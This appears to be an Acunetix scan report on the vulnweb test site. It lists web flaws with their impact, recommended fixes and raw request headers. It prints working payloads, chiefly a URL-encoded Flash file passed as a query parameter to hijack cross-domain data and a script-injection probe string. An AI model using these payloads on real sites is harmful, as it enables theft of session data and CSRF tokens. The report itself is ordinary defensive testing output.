! Cross domain data hijacking

Severity	Medium
Reported by module	Scripting (XSS.script)

Description

This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.

Here is the attack scenario:

- An attacker creates a malicious Flash (SWF) file
- The attacker changes the file extension to JPG
- The attacker uploads the file to victim.com
- The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash"
- The victim visits attacker.com, loads the file as embedded with the tag
- The attacker can now send and receive arbitrary requests to victim.com using the victims session
- The attacker sends a request to victim.com and extracts the CSRF token from the response

There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack.

A payload could look like this:

```
<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000;
```

Impact

An attacker can read any secrets (such as CSRF tokens) from the affected domain.

Recommendation

For file uploads: It is recommended to check the file's content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain.

For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.

References

[Cross Domain Data Hijacking](https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/) (https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/)

[The pitfalls of allowing file uploads on your website](http://labs.detectify.com/post/86302927946/the-lesser-known-pitfalls-of-allowing-file-uploads/) (http://labs.detectify.com/post/86302927946/the-lesser-known-pitfalls-of-allowing-file-uploads/)

Affected items

/hpp/params.php
Details
<p>URL encoded GET input p was set to</p> <p>CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP"%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;!S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93"%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a]s%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d[%17%f3/[!%dcm{%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09.</p> <p>The value is reflected at the top of the page.</p>
Request headers
<p>GET /hpp/params.php?</p> <p>p=CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP"%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;!S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93"%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a]s%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d[%17%f3/[!%dcm{%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09&pp=12 HTTP/1.1</p> <p>Referer: http://testphp.vulnweb.com</p> <p>Cookie: mycookie=3</p> <p>Host: testphp.vulnweb.com</p> <p>Connection: Keep-alive</p> <p>Accept-Encoding: gzip, deflate</p> <p>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21</p> <p>Accept: */*</p>

! Cross site scripting (content-sniffing)

Severity	Medium
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

[Acunetix Cross Site Scripting Attack](http://www.acunetix.com/websitesecurity/cross-site-scripting.htm) (<http://www.acunetix.com/websitesecurity/cross-site-scripting.htm>)

[VIDEO: How Cross-Site Scripting \(XSS\) Works](http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/) (<http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/>)

[The Cross Site Scripting FAQ](http://www.cgisecurity.com/xss-faq.html) (<http://www.cgisecurity.com/xss-faq.html>)

[OWASP Cross Site Scripting](http://www.owasp.org/index.php/Cross_Site_Scripting) (http://www.owasp.org/index.php/Cross_Site_Scripting)

[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

[Cross site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) (http://en.wikipedia.org/wiki/Cross-site_scripting)

[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5) (http://www.owasp.org/index.php/PHP_Top_5)

[How To: Prevent Cross-Site Scripting in ASP.NET](http://msdn.microsoft.com/en-us/library/ms998274.aspx) (<http://msdn.microsoft.com/en-us/library/ms998274.aspx>)

Affected items

/showimage.php
Details
<pre>{ "input_type": "URL encoded GET", "input_name": "file", "test_value": "1\\")&%<acx><ScRiPt >dJ9U(9551) </ScRiPt>", "extra_details": false, "repro": "This type of XSS can only be triggered on (and affects) content sniffing browsers.", "reflection_point": false }</pre>
Request headers
<pre>GET /showimage.php?file=1'")%26%25<acx><ScRiPt%20>dJ9U(9551)</ScRiPt> HTTP/1.1 Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*</pre>

! Directory listing

Severity	Medium
Reported by module	Scripting (Directory_Listing.script)

Description

The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.

Impact

A user can view a list of all files from this directory possibly exposing sensitive information.

Recommendation

You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

References

[Directory Listing and Information Disclosure](http://www.acunetix.com/blog/web-security-zone/directory-listing-information-disclosure/) (http://www.acunetix.com/blog/web-security-zone/directory-listing-information-disclosure/)

Affected items

/Flash
Details
Pattern found:
<pre><title>Index of /Flash/</title></pre>
Request headers
<pre>GET /Flash/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/Flash/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*</pre>

/images
Details
Pattern found:
<title>Index of /images/</title>
Request headers
GET /images/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/images/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/Templates
Details
Pattern found:
<title>Index of /Templates/</title>
Request headers
GET /Templates/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/Templates/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/Mod_Rewrite_Shop/images
Details
Pattern found:
<title>Index of /Mod_Rewrite_Shop/images/</title>
Request headers
GET /Mod_Rewrite_Shop/images/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/.idea
Details

Pattern found:

<title>Index of /.idea/</title>

Request headers

GET /.idea/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/.idea/scopes

Details

Pattern found:

<title>Index of /.idea/scopes/</title>

Request headers

GET /.idea/scopes/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/_mmServerScripts

Details

Pattern found:

<title>Index of /_mmServerScripts/</title>

Request headers

GET /_mmServerScripts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Connections

Details

Pattern found:

```
<title>Index of /Connections/</title>
```

Request headers

```
GET /Connections/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures

Details

Pattern found:

```
<title>Index of /pictures/</title>
```

Request headers

```
GET /pictures/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/wvstests

Details

Pattern found:

```
<title>Index of /wvstests/</title>
```

Request headers

```
GET /wvstests/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/wvstests/pmwiki_2_1_19
Details
Pattern found:
<title>Index of /wvstests/pmwiki_2_1_19/</title>
Request headers
GET /wvstests/pmwiki_2_1_19/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*
/wvstests/pmwiki_2_1_19/scripts
Details
Pattern found:
<title>Index of /wvstests/pmwiki_2_1_19/scripts/</title>
Request headers
GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: aspectalerts Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*


Error message on page

Severity	Medium
Reported by module	Scripting (Text_Search_File.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

[PHP Runtime Configuration](http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors) (<http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors>)

Affected items

/listproducts.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, null given in <b>/hj/var/www//listproducts.php</b> on line <b>55</b><br />
```

Request headers

```
GET /listproducts.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/search.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infoartist.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/hj/var/www//AJAX/infoartist.php</b> on line <b>2</b><br />
```

Request headers

```
GET /AJAX/infoartist.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infocateg.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/hj/var/www//AJAX/infocateg.php</b> on line <b>2</b><br />
```

Request headers

```
GET /AJAX/infocateg.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
```

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/AJAX/infotitle.php

Details

Pattern found:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in **/hj/var/www//AJAX/infotitle.php** on line **2**

Request headers

GET /AJAX/infotitle.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Connections/DB_Connection.php

Details

Pattern found:

Fatal error

Request headers

GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/pictures/path-disclosure-unix.html

Details

Pattern found:

Warning: Sablotron error on line 1: XML parser error 3: no element found in **/usr/local/etc/httpd/htdocs2/destination-ce/destinationce/system/class/xsltTransform.class.php** on line **70**

Request headers

GET /pictures/path-disclosure-unix.html HTTP/1.1

Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/secured/database_connect.php

Details

Pattern found:

```
<b>Warning</b>: mysql_connect(): Access denied for user 'wauser'@'localhost' (using password : NO) in <b>/hj/var/www/secured/database_connect.php</b> on line <b>2</b><br />
```

Request headers

GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

! HTML form without CSRF protection

Severity	Medium
Reported by module	Crawler

Description

This alert may be a false positive, manual confirmation is required.

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

Impact

An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

Affected items

Web Server

Details
<p>Form name: <empty> Form action: http://testphp.vulnweb.com/search.php?test=query Form method: POST</p> <p>Form inputs:</p> <ul style="list-style-type: none"> searchFor [Text] goButton [Submit]
Request headers
<pre>GET / HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*</pre>
/login.php
Details
<p>Form name: loginform Form action: http://testphp.vulnweb.com/userinfo.php Form method: POST</p> <p>Form inputs:</p> <ul style="list-style-type: none"> uname [Text] pass [Password]
Request headers
<pre>GET /login.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect-Queries: filelist;aspectalerts Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*</pre>
/guestbook.php
Details
<p>Form name: faddentry Form action: http://testphp.vulnweb.com/guestbook.php Form method: POST</p> <p>Form inputs:</p> <ul style="list-style-type: none"> name [Hidden] text [TextArea] submit [Submit]
Request headers
<pre>GET /guestbook.php HTTP/1.1 Pragma: no-cache Cache-Control: no-cache Referer: http://testphp.vulnweb.com/ Acunetix-Aspect: enabled</pre>

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/comment.php

Details

Form name: fComment
Form action: <http://testphp.vulnweb.com/comment.php>
Form method: POST

Form inputs:

- name [Text]
- comment [TextArea]
- Submit [Submit]
- phpaction [Hidden]

Request headers

GET /comment.php?aid=3 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: <http://testphp.vulnweb.com/artists.php>
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/signup.php

Details

Form name: form1
Form action: <http://testphp.vulnweb.com/secured/newuser.php>
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: <http://testphp.vulnweb.com/login.php>
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/hpp

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Form method: GET

Form inputs:

- aaaa [Submit]

Request headers

GET /hpp/?pp=12 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/hpp/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

! HTTP parameter pollution

Severity	Medium
Reported by module	Scripting (HTTP_Parameter_Pollution.script)

Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

References

[HTTP Parameter Pollution \(https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf\)](https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf)

Affected items

/hpp

Details

URL encoded GET input **pp** was set to **12&n913071=v945243**
Parameter precedence: **last occurrence**

Affected link: **params.php?p=valid&pp=12&n913071=v945243**
Affected parameter: **p=valid**

Request headers

GET /hpp/?pp=12%26n913071=v945243 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/hpp/index.php

Details

URL encoded GET input **pp** was set to **12&n978291=v960868**
Parameter precedence: **last occurrence**
Affected link: **params.php?p=valid&pp=12&n978291=v960868**
Affected parameter: **p=valid**

Request headers

GET /hpp/index.php?pp=12%26n978291=v960868 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

 **Insecure crossdomain.xml file**

Severity	Medium
Reported by module	Scripting (Crossdomain_XML.script)

Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:

```
<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-policy>
```

This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

References

[Cross-domain policy file usage recommendations for Flash Player](http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)

(http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)

[Cross-domain policy files](http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html) (http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html)

Affected items

Web Server
Details
The crossdomain.xml file is located at /crossdomain.xml .
Request headers
GET /crossdomain.xml HTTP/1.1 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

❗ JetBrains .idea project directory

Severity	Medium
Reported by module	Scripting (JetBrains_Idea_Project_Directory.script)

Description

The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file dataSources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

Impact

These files may expose sensitive information that may help an malicious user to prepare more advanced attacks.

